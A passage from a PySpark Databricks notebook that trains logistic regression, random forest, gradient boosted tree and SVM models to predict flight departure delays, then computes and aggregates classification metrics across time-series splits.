standardscaler])\n \n return lr, pipeline\n\n\ndef model_train_logit_grid_search(training_set, test_set, pipeline, lr, ts_split):\n # grid search is broken - fails with the following error mode\n # https://stackoverflow.com/questions/58827795/requirement-failed-nothing-has-been-added-to-this-summarizer\n # this error mode seems specific to the data it is training on - which is non deterministic based on our train-test size\n # so we don't want to take a dependency on this method\n # moreover - its unclear whether the \"numFolds\" param should be 1 or > 1 \n # if we make it > 1 then we don't preserve the ordering of the time series data, which is important\n result = {}\n \n # form param grid for searching across multiple params to find best model\n paramGrid = ParamGridBuilder() \\\n .addGrid(lr.threshold, [0.01, 0.1, 0.2, 0.3]) \\\n .addGrid(lr.maxIter, [2, 5, 10]) \\\n .addGrid(lr.regParam, [0.1, 0.2]) \\\n .build()\n \n # set up cross validator with the pipeline, choose num cross == 1\n # TODO: clarify on what numFolds should be\n crossval = CrossValidator(estimator = pipeline,\n estimatorParamMaps = paramGrid,\n evaluator = BinaryClassificationEvaluator(),\n numFolds = 1)\n \n # https://spark.apache.org/docs/latest/api/python/reference/api/pyspark.ml.evaluation.BinaryClassificationEvaluator.html#pyspark.ml.evaluation.BinaryClassificationEvaluator.metricName\n # https://stats.stackexchange.com/questions/99916/interpretation-of-the-area-under-the-pr-curve\n evaluator_aupr = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderPR\")\n evaluator_auroc = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderROC\")\n \n # fit the model\n cvModel = crossval.fit(training_set)\n \n # return best model from all our models we trained on\n best_model = cvModel.bestModel\n best_param_dic = get_best_param_dic_metrics(best_model, False)\n\n # review performance on training data \n train_model = cvModel.transform(training_set)\n aupr = evaluator_aupr.evaluate(train_model)\n auroc = evaluator_auroc.evaluate(train_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(train_model)\n result[\"train\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, best_param_dic)\n \n # review performance on test data \n test_model = cvModel.transform(test_set)\n aupr = evaluator_aupr.evaluate(test_model)\n auroc = evaluator_auroc.evaluate(test_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(test_model)\n result[\"test\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, best_param_dic)\n \n return result\n\ndef model_train_logit(training_set, test_set, pipeline, lr, ts_split, custom_payload):\n result = {}\n if custom_payload == None:\n raise Exception(\"Custom payload cannot be none as it contains hyper-param information\")\n \n if pipeline != None:\n # regular logit path\n pipelineModel = pipeline.fit(training_set)\n df_train = pipelineModel.transform(training_set)\n df_train = df_train.select(['label', 'scaled_features'])\n\n pipelineModel = pipeline.fit(test_set)\n df_test = pipelineModel.transform(test_set)\n df_test = df_test.select(['label', 'scaled_features'])\n else:\n # we've already fit the pipeline (logit_alt)\n df_train = training_set\n df_test = test_set\n \n # hyper param setting\n lr.threshold = custom_payload[\"threshold\"] if \"threshold\" in custom_payload.keys() else 0.5\n lr.maxIter = custom_payload[\"maxIter\"] if \"maxIter\" in custom_payload.keys() else 10\n lr.regParam = custom_payload[\"regParam\"] if \"regParam\" in custom_payload.keys() else 0.5\n \n print(\"Starting training of Logit model with parameters - threshold: {}, max iterations: {}, regParam: {}\"\\\n .format(lr.threshold, lr.maxIter, lr.regParam))\n \n lrModel = lr.fit(df_train)\n \n # set up evaluators\n evaluator_aupr = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderPR\")\n evaluator_auroc = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderROC\")\n \n # review performance on training data \n train_model = lrModel.transform(df_train)\n aupr = evaluator_aupr.evaluate(train_model)\n auroc = evaluator_auroc.evaluate(train_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(train_model)\n result[\"train\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, lrModel.summary)\n \n # review performance on test data \n test_model = lrModel.transform(df_test)\n aupr = evaluator_aupr.evaluate(test_model)\n auroc = evaluator_auroc.evaluate(test_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(test_model)\n result[\"test\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, lrModel.summary)\n \n return result\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Random Forest Specific Functions\n\n# COMMAND ----------\n\nfrom pyspark.sql.functions import col, isnan, substring, split, when, lit, max as pyspark_max, countDistinct, count, mean, sum as pyspark_sum, expr, to_utc_timestamp, to_timestamp, concat, length\nfrom pyspark.sql import SQLContext\nfrom pyspark.sql.types import IntegerType, StringType, BooleanType, DateType, DoubleType\nimport pandas as pd\nfrom gcmap import GCMapper, Gradient\nimport matplotlib.pyplot as plt\nfrom pandas.tseries.holiday import USFederalHolidayCalendar\nfrom pyspark.sql.types import *\nfrom pyspark.ml.feature import IndexToString, StringIndexer, OneHotEncoder, VectorAssembler, Bucketizer, StandardScaler, VectorIndexer\nfrom pyspark.ml.tuning import CrossValidator, ParamGridBuilder\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.mllib.evaluation import BinaryClassificationMetrics\nfrom pyspark.ml.classification import LogisticRegression, RandomForestClassifier, GBTClassifier\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.linalg import Vectors\nimport seaborn as sns\nfrom pyspark.ml.feature import QuantileDiscretizer\n \ndef get_staged_data_for_trees(train, test, custom_payload):\n stages = []\n if custom_payload == None:\n raise Exception(\"Custom payload cannot be none as it contains feature selection information\")\n \n categorical_features = custom_payload[\"categorical_features\"]\n numeric_features = custom_payload[\"numeric_features\"] \n num_buckets = custom_payload[\"num_buckets\"] if \"num_buckets\" in custom_payload.keys() else 3\n quantize_numeric = custom_payload[\"quantize_numeric\"] if \"quantize_numeric\" in custom_payload.keys() else False\n \n for cat_feat in categorical_features:\n # string indexing categorical features \n stringIndexer = StringIndexer(inputCol=cat_feat, outputCol=cat_feat + \"_Index\").setHandleInvalid(\"keep\")\n # one hot encode categorical features\n encoder = OneHotEncoder(inputCols=[stringIndexer.getOutputCol()], outputCols=[cat_feat + \"_One_Hot\"])\n # add to stages\n stages += [stringIndexer, encoder]\n \n # create indexer for label class\n labelIndexer = StringIndexer(inputCol=\"dep_is_delayed\", outputCol=\"label\").setHandleInvalid(\"keep\")\n stages += [labelIndexer]\n \n print (\"Quantizing numeric features is set to {}. If set to true, we will use buckets = {}\".format(quantize_numeric, num_buckets))\n if quantize_numeric:\n for num_feat in numeric_features:\n # bin numeric features \n num_bin = QuantileDiscretizer(numBuckets=num_buckets, \n inputCol=num_feat, outputCol=num_feat + \"_Binned\").setHandleInvalid(\"keep\")\n stages += [num_bin]\n\n # create vector assembler combining features into 1 vector (combining binner and categorical features)\n assemblerInputs = [c + \"_One_Hot\" for c in categorical_features] + [n + \"_Binned\" for n in numeric_features]\n assembler = VectorAssembler(inputCols=assemblerInputs, outputCol=\"features\").setHandleInvalid(\"keep\")\n stages += [assembler]\n else:\n num_assembler = VectorAssembler(inputCols=numeric_features, outputCol=\"numeric_vec\").setHandleInvalid(\"skip\")\n stages += [num_assembler]\n assemblerInputs = [f + \"_One_Hot\" for f in categorical_features] + [\"numeric_vec\"]\n # create vector assembler combining categorical and numeric_vec\n assembler = VectorAssembler(inputCols=assemblerInputs, outputCol=\"features\")\n stages += [assembler]\n \n # notice no need for scaling in the case of RFs\n # ensure that the model train eval functions for trees have feature column called \"features\" and not \"scaled_features\"\n # it must match the output column from the processing phase here\n pipeline = Pipeline().setStages(stages)\n pipelineModel = pipeline.fit(train)\n df_train = pipelineModel.transform(train)\n \n # features_comb = categorical_features + numeric_features + [\"dep_is_delayed\"]\n selectedcols = [\"label\", \"features\"] # + features_comb\n df_train = df_train.select(selectedcols)\n df_test = pipelineModel.transform(test)\n df_test = df_test.select(selectedcols)\n \n return df_train, df_test\n\ndef model_train_rf(train, test, ts_split, custom_payload):\n if custom_payload == None:\n raise Exception(\"Custom payload cannot be none as it contains hyper-param information\")\n \n result = {}\n # convert label to integer type, so we can find performance metrics easily\n train = train.withColumn('label', train['label'].cast(IntegerType())) \n test = test.withColumn('label', test['label'].cast(IntegerType()))\n \n # create an initial RandomForest model\n rf = RandomForestClassifier(labelCol=\"label\", featuresCol=\"features\")\n \n # hyper param setting\n rf.maxBins = custom_payload[\"maxBins\"] if \"maxBins\" in custom_payload.keys() else 32\n rf.numTrees = custom_payload[\"numTrees\"] if \"numTrees\" in custom_payload.keys() else 20\n rf.minInstancesPerNode = custom_payload[\"minInstancesPerNode\"] if \"minInstancesPerNode\" in custom_payload.keys() else 10\n rf.minInfoGain = custom_payload[\"minInfoGain\"] if \"minInfoGain\" in custom_payload.keys() else 0.001\n print(\"Starting training of random forest model with parameters - max bins: {}, num trees: {}, minInstancesPerNode: {}, minInfoGain: {}\"\\\n .format(rf.maxBins, rf.numTrees, rf.minInstancesPerNode, rf.minInfoGain))\n \n # train model with training data\n rfModel = rf.fit(train)\n\n # make predictions on test data \n rf_predictions = rfModel.transform(test)\n \n # set up evaluators\n evaluator_aupr = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderPR\")\n evaluator_auroc = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderROC\")\n \n # review performance on training data \n train_model = rfModel.transform(train)\n aupr = evaluator_aupr.evaluate(train_model)\n auroc = evaluator_auroc.evaluate(train_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(train_model)\n result[\"train\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, rfModel.summary)\n \n # review performance on test data \n test_model = rfModel.transform(test)\n aupr = evaluator_aupr.evaluate(test_model)\n auroc = evaluator_auroc.evaluate(test_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(test_model)\n result[\"test\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, rfModel.summary)\n \n return result\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### Gradient Boosted Trees Specific Functions\n\n# COMMAND ----------\n\nfrom pyspark.ml.tuning import ParamGridBuilder, CrossValidator\n\ndef model_train_gbt(train, test, ts_split, custom_payload):\n if custom_payload == None:\n raise Exception(\"Custom payload cannot be none as it contains hyper-param information\")\n \n result = {}\n # convert label to integer type, so we can find performance metrics easily\n train = train.withColumn('label', train['label'].cast(IntegerType())) \n test = test.withColumn('label', test['label'].cast(IntegerType()))\n \n # create an initial GBT model\n gbt = GBTClassifier(labelCol=\"label\", featuresCol=\"features\")\n \n # hyper param setting\n gbt.maxBins = custom_payload[\"maxBins\"] if \"maxBins\" in custom_payload.keys() else 32\n gbt.maxDepth = custom_payload[\"maxDepth\"] if \"maxDepth\" in custom_payload.keys() else 10\n gbt.minInstancesPerNode = custom_payload[\"minInstancesPerNode\"] if \"minInstancesPerNode\" in custom_payload.keys() else 10\n gbt.minInfoGain = custom_payload[\"minInfoGain\"] if \"minInfoGain\" in custom_payload.keys() else 0.001\n gbt.maxIter = custom_payload[\"maxIter\"] if \"maxIter\" in custom_payload.keys() else 10\n gbt.stepSize = custom_payload[\"stepSize\"] if \"stepSize\" in custom_payload.keys() else 0.2\n print(\"Starting training of GBT model with parameters - max bins: {}, max depth: {}, minInstancesPerNode: {}, minInfoGain: {}, max iterations: {}, step size: {}\"\\\n .format(gbt.maxBins, gbt.maxDepth, gbt.minInstancesPerNode, gbt.minInfoGain, gbt.maxIter, gbt.stepSize))\n \n # train model with training data\n gbtModel = gbt.fit(train)\n\n # make predictions on test data\n gbt_predictions = gbtModel.transform(test)\n \n # set up evaluators\n evaluator_aupr = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderPR\")\n evaluator_auroc = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderROC\")\n \n # review performance on training data \n train_model = gbtModel.transform(train)\n aupr = evaluator_aupr.evaluate(train_model)\n auroc = evaluator_auroc.evaluate(train_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(train_model)\n result[\"train\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, gbtModel) # no summary object exists in GBT\n \n # review performance on test data \n test_model = gbtModel.transform(test)\n aupr = evaluator_aupr.evaluate(test_model)\n auroc = evaluator_auroc.evaluate(test_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(test_model)\n result[\"test\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, gbtModel) # no summary object exists in GBT\n \n return result\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC #### SVM Specific Functions\n\n# COMMAND ----------\n\nfrom pyspark.ml.classification import LinearSVC\n\ndef model_train_svm(training_set, test_set, pipeline, ts_split, custom_payload):\n result = {}\n if custom_payload == None:\n raise Exception(\"Custom payload cannot be none as it contains hyper-param information\")\n \n if pipeline != None:\n # regular svm implementation\n pipelineModel = pipeline.fit(training_set)\n df_train = pipelineModel.transform(training_set)\n df_train = df_train.select(['label', 'scaled_features'])\n\n pipelineModel = pipeline.fit(test_set)\n df_test = pipelineModel.transform(test_set)\n df_test = df_test.select(['label', 'scaled_features'])\n else:\n # svm_alt implementation\n df_train = training_set\n df_test = test_set\n \n svc = LinearSVC(featuresCol='scaled_features')\n \n # hyper param setting\n svc.maxIter = custom_payload[\"maxIter\"] if \"maxIter\" in custom_payload.keys() else 40\n svc.regParam = custom_payload[\"regParam\"] if \"regParam\" in custom_payload.keys() else 0.2\n svc.aggregationDepth = custom_payload[\"aggregationDepth\"] if \"aggregationDepth\" in custom_payload.keys() else 2\n svc.tol = custom_payload[\"tol\"] if \"tol\" in custom_payload.keys() else 1e-05\n svc.threshold = custom_payload[\"threshold\"] if \"threshold\" in custom_payload.keys() else 0.0001\n \n print(\"Starting training of SVM model with parameters - aggregationDepth: {}, max iterations: {}, L2regParam: {}, convergence tolerance: {}, threshold: {}\"\\\n .format(svc.aggregationDepth, svc.maxIter, svc.regParam, svc.tol, svc.threshold))\n \n svcModel = svc.fit(df_train)\n \n # set up evaluators\n evaluator_aupr = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderPR\")\n evaluator_auroc = BinaryClassificationEvaluator(labelCol=\"label\", metricName=\"areaUnderROC\")\n \n # review performance on training data \n train_model = svcModel.transform(df_train)\n aupr = evaluator_aupr.evaluate(train_model)\n auroc = evaluator_auroc.evaluate(train_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(train_model)\n result[\"train\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, svcModel.extractParamMap())\n \n # review performance on test data \n test_model = svcModel.transform(df_test)\n aupr = evaluator_aupr.evaluate(test_model)\n auroc = evaluator_auroc.evaluate(test_model)\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score = compute_classification_metrics(test_model)\n result[\"test\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, svcModel.extractParamMap())\n \n return result\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Model Training and Evaluation - Apply Pipeline To Data & Train & Collect Metrics\n\n# COMMAND ----------\n\nfrom statistics import *\nfrom pyspark.sql.types import StructType, StructField, StringType, IntegerType, DoubleType\n\ndef compute_classification_metrics(df):\n # assumes df has columns called label and prediction\n true_positive = df[(df.label == 1) & (df.prediction == 1)].count()\n true_negative = df[(df.label == 0) & (df.prediction == 0)].count()\n false_positive = df[(df.label == 0) & (df.prediction == 1)].count()\n false_negative = df[(df.label == 1) & (df.prediction == 0)].count()\n accuracy = ((true_positive + true_negative)/df.count())\n \n if (true_positive + false_negative == 0.0):\n recall = 0.0\n precision = float(true_positive) / (true_positive + false_positive)\n \n elif (true_positive + false_positive == 0.0):\n recall = float(true_positive) / (true_positive + false_negative)\n precision = 0.0\n \n else:\n recall = float(true_positive) / (true_positive + false_negative)\n precision = float(true_positive) / (true_positive + false_positive)\n\n if(precision + recall == 0):\n f1_score = 0\n \n else:\n f1_score = 2 * ((precision * recall)/(precision + recall))\n \n return true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score\n\ndef get_classification_metrics(dic, with_display=True, display_train_metrics=False):\n '''\n assumes every model follows a contract of having a result dictionary\n with key = \"train\" and key = \"test\", and optionally, key = \"val\"\n \n also assumes that the dictionary payload follows the format\n result[\"key\"] = (true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, modelsummary)\n '''\n if \"train\" not in dic.keys() or \"test\" not in dic.keys():\n raise Exception(\"Result object does not have the right keys\")\n \n contains_val = \"val\" in dic.keys()\n result = {\"train\": dict(), \"test\": dict()}\n if contains_val:\n result[\"val\"] = dict()\n \n if not with_display:\n display_train_metrics = False\n \n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, modelsummary = dic[\"train\"]\n # TODO: format this to human readable form\n ts_split_str = str(ts_split)\n \n tmp = {\"true_positive\": true_positive, \"true_negative\": true_negative, \"false_positive\": false_positive, \"false_negative\": false_negative,\n \"accuracy\": accuracy, \"precision\": precision, \"recall\": recall, \"f1_score\": f1_score, \"aupr\": aupr, \"auroc\": auroc, \"ts_split\": ts_split_str, \"summary\": modelsummary}\n \n if with_display:\n # enter new line for neatness\n print()\n \n # set the temp dictionary to result\n result[\"train\"] = tmp\n \n str_ts = \"Metrics for Split - (Train: {}-{}), (Test: {}-{}), (Val: {}-{})\".format(ts_split[0].strftime(\"%b %d %Y\"), \\\n ts_split[1].strftime(\"%b %d %Y\"), ts_split[2].strftime(\"%b %d %Y\"), ts_split[3].strftime(\"%b %d %Y\"), ts_split[4].strftime(\"%b %d %Y\"), ts_split[5].strftime(\"%b %d %Y\"))\n \n num = 150\n \n if with_display and display_train_metrics:\n print(\"#\" * num)\n print(\"Training Data \" + str_ts)\n print(\"Accuracy: {}\".format(result[\"train\"][\"accuracy\"]))\n print(\"Precision: {}\".format(result[\"train\"][\"precision\"]))\n print(\"Recall: {}\".format(result[\"train\"][\"recall\"]))\n print(\"F1 Score: {}\".format(result[\"train\"][\"f1_score\"]))\n print(\"Area under PR curve: {}\".format(result[\"train\"][\"aupr\"]))\n print(\"Area under ROC curve: {}\".format(result[\"train\"][\"auroc\"]))\n print(\"#\" * num)\n \n # do the same for test and val\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, modelsummary = dic[\"test\"]\n # TODO: format this to human readable form\n ts_split_str = str(ts_split)\n \n tmp = {\"true_positive\": true_positive, \"true_negative\": true_negative, \"false_positive\": false_positive, \"false_negative\": false_negative,\n \"accuracy\": accuracy, \"precision\": precision, \"recall\": recall, \"f1_score\": f1_score, \"aupr\": aupr, \"auroc\": auroc, \"ts_split\": ts_split_str, \"summary\": modelsummary}\n \n # set the temp dictionary to result\n result[\"test\"] = tmp\n \n if with_display:\n print(\"#\" * num)\n print(\"Test Data \" + str_ts)\n print(\"Accuracy: {}\".format(result[\"test\"][\"accuracy\"]))\n print(\"Precision: {}\".format(result[\"test\"][\"precision\"]))\n print(\"Recall: {}\".format(result[\"test\"][\"recall\"]))\n print(\"F1 Score: {}\".format(result[\"test\"][\"f1_score\"]))\n print(\"Area under PR curve: {}\".format(result[\"test\"][\"aupr\"]))\n print(\"Area under ROC curve: {}\".format(result[\"test\"][\"auroc\"]))\n print(\"#\" * num)\n \n if contains_val:\n true_positive, true_negative, false_positive, false_negative, accuracy, precision, recall, f1_score, aupr, auroc, ts_split, modelsummary = dic[\"val\"]\n # TODO: format this to human readable form\n ts_split_str = str(ts_split)\n \n tmp = {\"true_positive\": true_positive, \"true_negative\": true_negative, \"false_positive\": false_positive, \"false_negative\": false_negative,\n \"accuracy\": accuracy, \"precision\": precision, \"recall\": recall, \"f1_score\": f1_score, \"aupr\": aupr, \"auroc\": auroc, \"ts_split\": ts_split_str, \"summary\": modelsummary}\n \n # set the temp dictionary to result\n result[\"val\"] = tmp\n \n if with_display:\n print(\"#\" * num)\n print(\"Validation Data \" + str_ts)\n print(\"Accuracy: {}\".format(result[\"val\"][\"accuracy\"]))\n print(\"Precision: {}\".format(result[\"val\"][\"precision\"]))\n print(\"Recall: {}\".format(result[\"val\"][\"recall\"]))\n print(\"F1 Score: {}\".format(result[\"val\"][\"f1_score\"]))\n print(\"Area under PR curve: {}\".format(result[\"val\"][\"aupr\"]))\n print(\"Area under ROC curve: {}\".format(result[\"val\"][\"auroc\"]))\n print(\"#\" * num)\n \n return result\n\n\ndef get_classification_metrics_for_storage_ingestion(list_dic):\n # sadly, we cannot store model summary into the dataframe, thus we return everything except that\n # assumes we have output from get_classification_metrics() (in list form) as the input here\n for dic in list_dic:\n dic[\"train\"].pop(\"summary\", None)\n dic[\"test\"].pop(\"summary\", None)\n if \"val\" in dic.keys():\n dic[\"val\"].pop(\"summary\", None)\n \n return list_dic\n\ndef get_aggregated_classification_metrcs(list_dic, dtype=\"test\", with_display=True):\n '''\n gets summary stats (avg, min, percentiles etc.) for the list of models \n has a dependency on the key naming defined in get_classification_metrics()\n '''\n metric_type = [\"accuracy\", \"precision\", \"recall\", \"f1_score\", \"aupr\", \"auroc\"]\n summary_type = [\"mean\", \"min\", \"max\", \"median\"]\n \n # for some reason math.min, math.max don't work and throw a \"type\" error\n # same goes for statistics.mean and statistics.median\n # this shows up sometimes in the RF models get_aggregated_classification_metrcs() calc\n # so we go old school for now :)\n def get_max(list_nums):\n maxi = -1\n for n in list_nums:\n if n > maxi:\n maxi = n\n return float(maxi)\n \n def get_min(list_nums):\n mini = 1000\n for n in list_nums:\n if n < mini:\n mini = n\n return float(mini)\n \n def get_mean(list_nums):\n meanval = 0\n for n in list_nums:\n meanval += n\n return 1.0 * meanval/len(list_nums)\n \n def get_median(list_nums):\n list_nums.sort()\n n = len(list_nums)\n if n % 2 == 0:\n median1 = list_nums[n//2]\n median2 = list_nums[n//2 - 1]\n median = (median1 + median2)/2\n else:\n median = list_nums[n//2]\n \n return float(median)\n \n todf = []\n for s in summary_type:\n metrics = []\n for m in metric_type:\n if s == \"mean\":\n # print(\"For summary type: {} and metric type: {}, value is {}\".format(s, m, get_mean([dic[dtype][m] for dic in list_dic])))\n metrics.append(get_mean([dic[dtype][m] for dic in list_dic]))\n elif s == \"min\":\n # print(\"For summary type: {} and metric type: {}, value is {}\".format(s, m, get_min([dic[dtype][m] for dic in list_dic])))\n metrics.append(get_min([dic[dtype][m] for dic in list_dic]))\n elif s == \"max\": \n # print(\"For summary type: {} and metric type: {}, value is {}\".format(s, m, get_max([dic[dtype][m] for dic in list_dic])))\n metrics.append(get_max([dic[dtype][m] for dic in list_dic]))\n elif s == \"median\":\n # print(\"For summary type: {} and metric type: {}, value is {}\".format(s, m, get_median([dic[dtype][m] for dic in list_dic])))\n metrics.append(get_median([dic[dtype][m] for dic in list_dic]))\n \n todf.append(tuple(metrics)) \n \n schema = StructType([ \\\n StructField(\"accuracy\", DoubleType(), True), \\\n StructField(\"precision\", DoubleType(), True), \\\n StructField(\"recall\", DoubleType(), True), \\\n StructField(\"f1_score\", DoubleType(), True), \\\n StructField(\"AUPR\", DoubleType(), True), \\\n StructField(\"AUROC\", DoubleType(), True) \\\n ])\n \n df = spark.createDataFrame(data = todf, schema = schema)\n if with_display:\n print(\"Displaying aggregated metrics - rows are in order: {}\".format(summary_type))\n display(df)\n \n return df\n \n\n# COMMAND ----------\n\n# for each train, test split - apply pipeline and perform model training\n##### THIS IS THE MAIN METHOD FOR TRAINING AND PLUGGING IN ALL OTHER MODELS #####\n\ndef model_train_and_eval(data, splits, max_iter=1, model=\"logit\", collect_metrics = True, rebalance_downsample=True, custom_payload=None):\n '''\n Main method for running models and returning results\n custom_payload is referring to a dictionary that each model can unpack to access model specific values (reg params, special columns, feature slection etc.) \n '''\n \n # list that holds the metrics results for the specified model\n # the metrics returned per model may be different, \n # look into each model's specific return format to extract relevant metric\n collect_metrics_result = []\n \n for i in range(len(splits)):\n if i > max_iter-1:\n break\n \n train = get_df_for_model(data, splits, index=i, datatype=\"train\")\n test = get_df_for_model(data, splits, index=i, datatype=\"test\")\n #val = get_df_for_model(data, splits, index=i, datatype=\"val\")\n \n # drop planned_departure_utc and index id before sending off to the model\n # we kept planned_departure_utc up till now as that's needed for data time filtering\n # we kept index_id because its the index and may help spark in retrieving rows quicker\n cols = [t[0] for t in train.dtypes if t[0] != 'planned_departure_utc' or t[0] != 'index_id']\n train = train.select(cols).cache()\n test = test.select(cols).cache()\n \n # need to pass down split dates info to the models as they need this for result object\n split = get_dates_from_splits(splits, index=i, dtype=\"all\")\n \n # finally, downsample the majority class (dep_is_delayed == false) if need be\n # we downsample because we have tons of data fortunately - otherwise, we would have up sampled\n if rebalance_downsample:\n print(\"Down-sampling the training data to have more balanced classes...\")\n pt, nt, pn, np = get_proportion_labels(train)\n train = downsample(train, pn)\n \n print(\"Starting training iteration: {} for model: '{}' with collect_metrics: {}\".format(i+1, model, collect_metrics))\n \n if model == \"logit\":\n training_set, test_set = get_train_test_finalset_for_logit(train, test, custom_payload)\n lr, pipeline = get_logit_pipeline(training_set, grid_search_mode=False)\n result = model_train_logit(training_set, test_set, pipeline, lr, split, custom_payload)\n \n # a different function for processing the data is applied in this mode\n elif model == \"logit_alt\":\n training_set, test_set = get_train_test_finalset_for_logit_2(train, test, custom_payload)\n lr = LogisticRegression(featuresCol = 'scaled_features', labelCol = 'label')\n result = model_train_logit(training_set, test_set, None, lr, split, custom_payload)\n \n # do not use gs version of logit - there is a bug - see func defn\n elif model == \"logit_gs\":\n training_set, test_set = get_train_test_finalset_for_logit(train, test, custom_payload)\n lr, pipeline = get_logit_pipeline(training_set, grid_search_mode=True)\n result = model_train_logit_grid_search(training_set, test_set, pipeline, lr, split)\n \n elif model == \"rf\":\n train, test = get_staged_data_for_trees(train, test, custom_payload)\n result = model_train_rf(train, test, split, custom_payload)\n \n elif model == \"gbt\":\n train, test = get_staged_data_for_trees(train, test, custom_payload)\n result = model_train_gbt(train, test, split, custom_payload)\n \n elif model == \"svm\":\n # reuses logit pre-processing\n training_set, test_set = get_train_test_finalset_for_logit(train, test, custom_payload)\n lr, pipeline = get_logit_pipeline(training_set, grid_search_mode=False)\n result = model_train_svm(training_set, test_set, pipeline, split, custom_payload)\n \n # a different function for processing the data is applied in this mode\n elif model == \"svm_alt\":\n # reuses logit pre-processing\n training_set, test_set = get_train_test_finalset_for_logit_2(train, test, custom_payload)\n result = model_train_svm(training_set, test_set, None, split, custom_payload)\n \n else:\n raise Exception(\"Model name not found - given name is {}\".format(model))\n \n if collect_metrics:\n collect_metrics_result.append(result)\n \n return collect_metrics_result\n \n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC \n# MAGIC ## Driver Program - Logistic Regression\n\n# COMMAND ----------\n\nverbose = True\nsplits = get_timeseries_train_test_splits(data, train_test_ratio=2, test_months=4, start_year=2015, end_year=2019)\n\n# COMMAND ----------\n\nprint(get_dates_from_splits(splits, 0, dtype=\"train\"))\nprint(get_dates_from_splits(splits, 0, dtype=\"test\"))\n\n# COMMAND ----------\n\nprint(get_dates_from_splits(splits, 1, dtype=\"train\"))\nprint(get_dates_from_splits(splits, 1, dtype=\"test\"))\nprint(len(splits))\n\n# COMMAND ----------\n\nprint(get_dates_from_splits(splits, 5, dtype=\"train\"))\nprint(get_dates_from_splits(splits, 5, dtype=\"test\"))\n\n# COMMAND ----------\n\niters = len(splits) - 1\n\n# COMMAND ----------\n\ndisplay(data.groupBy(\"year\", \"month\").count())\n\n# COMMAND ----------\n\n###### WARNING: DO NOT MODIFY THE \"data\" OBJECT ######\n###### IT IS SHARED AMONGST OTHER DRIVER PROGRAMS ######\n\n# verbose logging / debug mode\n# can be changed per driver program\nverbose = True\n\nif verbose:\n print(\"Total number of rows in original dataset are {}\".format(n))\n\n# all_cols, cols_to_consider, cols_to_drop, numeric_features, categorical_features, dt_features, bool_features = get_std_features(data) \n\n\ndef get_values_from_hypothesis(hypothesis=1, custom_cols_to_drop=[]):\n ##### HYPOTHESIS ######\n data_, desired_numeric_h = get_std_desired_numeric(data, hypothesis= hypothesis, custom_cols_to_drop= custom_cols_to_drop)\n data_, desired_categorical_h = get_std_desired_categorical(data_, hypothesis= hypothesis, custom_cols_to_drop= custom_cols_to_drop)\n\n # assert label is numeric - this is because its needed for the classification metrics\n assert(get_feature_dtype(data_, 'dep_is_delayed') == 'int')\n cols_to_consider_h = list(set(desired_numeric_h + desired_categorical_h)) \n \n # we added dep_is_delayed to desired_numeric_h as we wanted to convert it to numeric\n # however, it should not be part of the features list as it is the output var\n # we will later add this col to cols_to_consider so its still part of our dataset\n try:\n desired_numeric_h.remove('dep_is_delayed')\n desired_categorical_h.remove('dep_is_delayed')\n except:\n pass\n \n # ensure label and planned_departure_utc are present in cols_to_consider\n cols_to_consider_h = add_required_cols(cols_to_consider_h)\n # +2 in assert comes from adding planned_departure_utc and label (dep_is_delayed)\n assert(len(cols_to_consider_h) == len(desired_numeric_h) + len(desired_categorical_h) + 2)\n \n # create custom payload object\n custom_payload = {\"categorical_features\": desired_categorical_h, \"numeric_features\": desired_numeric_h}\n \n return 